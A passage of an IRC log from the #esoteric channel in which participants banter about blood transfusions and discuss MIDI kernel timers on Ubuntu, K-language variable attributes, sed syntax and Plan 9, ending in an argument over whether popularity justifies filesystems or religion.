< 1250381060 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1250381294 0 :bsmntbombdood_!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:Direct-blood-transfusion.jpg < 1250381326 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Looks like fun! < 1250381893 0 :coppro!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1250382641 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1250382819 0 :iano!n=iosgood@076-076-146-052.pdx.net JOIN :#esoteric < 1250382878 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Well THAT'S safe. < 1250382942 0 :iano!unknown@unknown.invalid QUIT :Client Quit < 1250382954 0 :iano!n=iosgood@076-076-146-052.pdx.net JOIN :#esoteric < 1250382999 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Normal blood transfusions are about as safe, actually. The only difference is a bag and shipping between donor and receipient. < 1250383014 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(oh, and testing) < 1250383020 0 :Slereah_!unknown@unknown.invalid PRIVMSG #esoteric :Normal blood transfusions have a screening procedure < 1250383021 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Testing?! NONSENSE < 1250383021 0 :Slereah_!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1250383033 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And you can be sure you won't get any EVIL GAY BLOOD. < 1250383043 0 :Slereah_!unknown@unknown.invalid PRIVMSG #esoteric :Or radioactive blood < 1250383169 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or zombie blood < 1250383267 0 :Slereah_!unknown@unknown.invalid PRIVMSG #esoteric :Or gay zombie blood < 1250383279 0 :Slereah_!unknown@unknown.invalid PRIVMSG #esoteric :Trust me, you don't want to be hit on by a zombie < 1250383305 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Only gay zombies hit on people, or there are no female zombies? :P < 1250383329 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Or, if I can judge by my past, I am only capable of being hit on by men? < 1250383335 0 :Slereah_!unknown@unknown.invalid PRIVMSG #esoteric :Zing! < 1250383356 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : damn oerjan isn't here <-- i haven't listened to the iwc podcasts actually, should do that some time < 1250383382 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, they are hilarious < 1250383386 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :finished them all now < 1250383393 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, the first one is horrible though < 1250383400 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1250383429 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i recall reading they have horrible volume control, or something < 1250383510 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, any idea about how to get high res timer for MIDI working under ubuntu? < 1250383518 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :rosegarden is giving me errors < 1250383527 0 :puzzlet_!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1250383529 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only way seems to build a custom kernel < 1250383547 0 :puzzlet!unknown@unknown.invalid QUIT :Remote closed the connection < 1250383548 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :uhh < 1250383550 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1250383554 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: what's the issue < 1250383556 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i mean < 1250383558 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :what needs fixing < 1250383581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, rosegarden needs a 1000 Hz kernel or a snd-rtctimer kernel to be able to record midi < 1250383590 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ubuntu studio has a realtime kernel < 1250383594 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it might be packaged in ubuntu < 1250383598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION looks
< 1250383606 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :The real-time kernel included with Ubuntu Studio 9.04 is modified for intensive audio, video or graphics work. The scheduler allows applications to request immediate CPU time, which can drastically reduce audio latency[2]. The 8.10 release lacks this real-time kernel, but it has been reimplemented in the 9.04 release. < 1250383646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1250383656 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not in normal ubuntu it seems < 1250383669 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The realtime patches will be integrated in $SOON. < 1250383669 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, anyway for MIDI I don't need all that, just snd-rtctimer < 1250383671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or so < 1250383693 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since I'm only doing MIDI I don't even need to bother about jack here < 1250383693 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :https://bugs.launchpad.net/ubuntu/+source/linux/+bug/317120 < 1250383707 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :aren't .kos like dynamic kernel objects? < 1250383716 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so you could just compile snd-rtctimer < 1250383752 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, read a few comments below < 1250383764 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, comment 3 to be specific < 1250383773 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1250383777 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :not sure; ask on ubuntuforums? < 1250383791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I'm doing it on my desktop < 1250383793 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for now < 1250383800 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: by the way, I found out what the foo..bar stuff in the k life is < 1250383814 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, oh? < 1250383843 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :basically, every variable (K has a whole directory tree of variables; foo.bar.baz is a dictionary as in foo[`bar][`baz] etc) has a set of attributes < 1250383853 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :which is a dictionary of auxiliary information < 1250383856 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's referenced as var. < 1250383859 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :so < 1250383861 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :to get the attribute x < 1250383863 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you do var..x < 1250383865 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :or var.[`x] < 1250383874 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, my desktop has a 2.6.30 kernel, which handles the issue < 1250383878 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with the hrtimer < 1250383882 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and i gather that the GUI uses these to define things about how to display and manipulate stuff < 1250383891 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :since `show$2, just shows 2 < 1250383895 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to, like, other ways of showing it, i guess < 1250383898 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :haven't got that far yet < 1250383900 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :but you could do < 1250383902 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :x:2 < 1250383907 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :x..blah:gkdfgdf < 1250383908 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :then < 1250383908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1250383910 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whatever < 1250383910 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :`show$`x < 1250383911 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250383927 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: if you didn't want to know, you could have not asked < 1250383943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well, I didn't know it would be like that < 1250383953 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :would you prefer a kitten or something? < 1250383963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, would have preferred a one-liner < 1250383970 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :;P < 1250383981 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Quick; give me the Erlang spec in one line. < 1250384039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder what tempo http://www.irregularwebcomic.net/podcasts/CthulhuIsComingToTown.pdf is in... < 1250384049 0 :coppro!unknown@unknown.invalid QUIT :Remote closed the connection < 1250384050 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to determine by listening
< 1250384058 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :same as santa clause is coming to down < 1250384059 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i'd assume < 1250384069 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I don't know that song < 1250384073 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :xD < 1250384082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I mean, I know Swedish xmas songs < 1250384084 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :aren't all the iwc songs parodies. < 1250384084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and a few English < 1250384085 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like < 1250384097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"We wish you a merry Christmas" < 1250384119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and there are some both in Swedish and English < 1250384123 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, possible < 1250384132 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, some I notice, others I just wouldn't know < 1250384143 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :however I noticed choice of music was very odd in a few < 1250384162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://www.irregularwebcomic.net/podcasts/podcast017.html < 1250384197 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is Pachelbel's Canon < 1250384203 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is definitely not wedding music < 1250384227 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a famous classical music piece yes, but NOT wedding music < 1250384235 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :maybe I should contact DMM about that < 1250384255 0 :coppro!n=coppro@unaffiliated/coppro JOIN :#esoteric < 1250384272 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh wait, it seems it is in America < 1250384273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1250384276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :strange they are < 1250384420 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Love and carriage, love and carriage; go together like a horse and marriage! < 1250384459 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ? < 1250384471 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, to me Canon sounds definitely wrong for wedding music < 1250384492 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, could you record http://www.irregularwebcomic.net/podcasts/CthulhuIsComingToTown.pdf :D < 1250384502 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on piano I guess < 1250384549 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Looks like just another rendition of Santa Claus is Coming to Town, with different lyrics ... no great purpose in replaying that. < 1250384639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, kay. got a link to "santa claus is coming to town"? < 1250384646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since I don't know this piece of music < 1250384659 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I guess it's too American slash Hooray Commercialism :P < 1250384662 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Google? < 1250384667 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :`google youtube santa claus is coming to town < 1250384669 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :\ [15]YouTube - Santa Claus is Coming to Town < 1250384675 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :THANK YOU HACKEGO < 1250384680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what < 1250384681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :about < 1250384683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the link < 1250384684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1250384689 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :My thoughts exactly :P < 1250384698 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's a very bad song < 1250384734 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :But, but, he's making a list! < 1250384741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I like the IWC rendition of it < 1250384742 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I wonder why youtube seems to list a bunch of bruce springsteen ones first < 1250384750 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :after a brief listen it seems i've mostly heard the jackson 5 rendition < 1250384783 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Every time I look for a song on YouTube, the top results are always the Three Tenors, and I always wind up disappointed. < 1250384802 0 :coppro!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1250384824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to figure out which computer has which set of headphones connected
< 1250384827 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and to which soundcard < 1250384834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :one of them has onboard and a sound card < 1250384852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh there we go < 1250384871 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=dS1Yysc9qHo < 1250384881 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :warning: bad song. < 1250384927 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :haha sweet, < 1250384943 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :in K you can make strings show as buttons instead of strings < 1250384945 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and that evaluates them on click < 1250384947 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i love how dynamic it is < 1250384949 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :oklopol would love it < 1250384963 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it exactly fits his "show the object directly with metadata about how it's shown" thingy < 1250385016 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : I wonder why youtube seems to list a bunch of bruce springsteen ones first <-- those seems better than the one you linked... < 1250385028 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mind you "better" != "good" < 1250385029 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :that doesn't mean they're the most common rendition < 1250385042 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :which is generally the thing you'd want to know when someone says "what does this sound like" < 1250385058 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, actually the bruce springsteen one sound a bit familiar < 1250385062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :think I heard it years ago < 1250385066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on vinyl < 1250385069 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Maybe sweden has better musical tastes than the uk then < 1250385097 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, actually I think it is my parents who have better musical taste simply. < 1250385111 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :or that < 1250385174 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, extensive vinyl collection. Well, not extreme. Just about 1.5 meters of shelf space or so < 1250385182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have seen worse oh photos < 1250385187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/oh/on < 1250385199 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :/s/s/$/\// < 1250385206 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :errrr < 1250385212 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :xD < 1250385229 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :/^\/s/s/\^s/ < 1250385232 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I *think* < 1250385233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that < 1250385241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would change the first one to match one starting with s < 1250385247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not one having s anywhere < 1250385255 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, think I'm right? < 1250385262 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no fucking clue < 1250385267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : /^\/s/s/\^s/ < 1250385269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that should < 1250385270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :change < 1250385273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : /s/s/$/\// < 1250385273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to < 1250385276 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nfc. < 1250385276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : /^s/s/$/\// < 1250385277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which < 1250385295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would then add the original missing / to s/oh/on < 1250385299 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1250385306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, what? don't you know sed? < 1250385312 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :[02:14:36] /^s/s/$/\// < 1250385320 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Isn't that too many (non-escaped) forward slashes? < 1250385331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly, no < 1250385332 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :no, s is a sed command < 1250385337 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :coming after the position change < 1250385339 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Or am I missing something? < 1250385340 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1250385343 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :/^s/ ; s/$/\// < 1250385345 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :/foo/s/bar/quux/ < 1250385346 0 :randomit1!unknown@unknown.invalid QUIT :Remote closed the connection < 1250385353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only applies on line with the word foo < 1250385355 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for example < 1250385369 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :so a matcher and a substitution regex, combined? < 1250385373 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :+spelling < 1250385380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly, well, sed is TC... < 1250385387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly, lots of more commands supported < 1250385400 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :I've only ever used sed for s/// < 1250385408 0 :FireFly!unknown@unknown.invalid PRIVMSG #esoteric :Guess I should read about it some day < 1250385427 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :FireFly, I don't know much more than s p and q < 1250385434 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :command-wise < 1250385608 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :i'm addicted to k < 1250385611 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :the code is just so short < 1250385621 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I need synergy to forward sound too < 1250385622 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since < 1250385634 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I confuse them now < 1250385639 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :surely there's a networked sound daemon. < 1250385643 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :also, it sounds like you want plan 9 < 1250385644 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yes there is < 1250385647 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :everything is networked and shared! < 1250385654 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :just do the equivalent of < 1250385655 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, sure. except with a GUI I can stand < 1250385661 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :'bind /n/desktop/sound /dev/sound' < 1250385666 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and your sound goes to the desktop < 1250385670 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Plan 9's UI is great. < 1250385673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, which soundcard on the desktop < 1250385674 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :you're just not used to it. < 1250385682 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ehh, there's prolly something for that < 1250385684 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I was giving an example < 1250385690 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, and which channels < 1250385695 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ehh, there's prolly something for that < 1250385695 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ehh, there's prolly something for that < 1250385697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I use *hardware mixer* on desktop < 1250385698 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I was giving an example < 1250385698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1250385701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, yep < 1250385705 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway < 1250385707 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it would be cool < 1250385718 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but, I need something that I can run most software on < 1250385726 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :plan 9 has a posix emulation environment :P < 1250385726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and that can handle wlan and so on < 1250385734 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, can it handle my wlan? ;P < 1250385735 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I bet not < 1250385739 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :almost certainly not. < 1250385765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, there you go then. I wonder if making plan9 handle stuff or adding those concepts to linux would be easiest < 1250385789 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Glendix is trying to build Plan 9 on top of the Linux kernel but it's not pretty. < 1250385796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, and yes, I would like to be able to treat them as one computer at times, and as different computers at other times < 1250385811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, since one is running KDE and the other gnome, clearly trying to combine them isn't trivial < 1250385819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, < 1250385824 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :K's variable hierarchy is basically a filesystem, it's interesting < 1250385828 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :perhaps filesystems aren't all bad... < 1250385857 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, if they were a bad concept, it wouldn't be so common < 1250385864 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :.................. < 1250385866 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, sure some would still use it < 1250385873 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :[01:24] AnMaster: ehird, if they were a bad concept, it wouldn't be so common < 1250385876 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You are everything wrong with everything. < 1250385882 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Aren't you an atheist, I recall? < 1250385884 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :for being common, you need to be a *local* optimum, you don't need to be a global optimum < 1250385884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, grammar fail indeed < 1250385891 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You know that >90% of the population is religious? < 1250385892 0 :Leonidas!unknown@unknown.invalid QUIT :Remote closed the connection < 1250385892 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"they wouldn't" < 1250385896 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :So it obviously can't be a bad concept. < 1250385901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I'm agnostic < 1250385903 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :So why aren't you religious? < 1250385910 0 :Leonidas!n=Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1250385940 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, SHOULD there be sound and solid proof I'm prepared to change my point of view. < 1250385962 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :however, I don't find that likely < 1250385962 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You are justifying filesystems by saying "if they weren't an okay idea, they wouldn't be so common." < 1250385971 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I am justifying religion by saying "if it wasn't an okay idea, it wouldn't be so common". < 1250385983 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You are saying that using filesystems is good because of this. < 1250385987 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :And should be done. < 1250385989 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well, I believe in that computer scientists are at least not completely irrational < 1250385990 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :So why aren't you religious? < 1250386006 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it takes a certain amount of intelligence to program a computer < 1250386011 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I don't believe that. < 1250386022 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :A cursory glance at any modern "architecture" can dispel any myth of sanity. < 1250386032 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :We're *used* to APIs not doing what they say and breaking in random ways. < 1250386038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure, there are stupid ones, but even the plain english creator needs to be able to understand a few bits of basic < 1250386039 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :We build things around making working around this less painful. < 1250386041 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :That is insane. < 1250386041 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :basics* < 1250386054 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Modern CS produced Java. < 1250386058 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :It is simply not sane. < 1250386082 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, um... depends. the uni I'm going to also uses python in some cources < 1250386084 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and C# < 1250386089 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :apart from java < 1250386098 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :...what part are you contradicting? < 1250386109 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still, quite far from lisp < 1250386111 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Modern CS, inarguably, produced Java. < 1250386119 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Modern CS, inarguably, does the other things I said. < 1250386122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, well that could be true < 1250386125 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but < 1250386132 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: do you know how many programmers work on windows? < 1250386180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, why haven't one of the old smart ones (joke intended) suggested anything new? Or have Knuth suggested a replacement for file 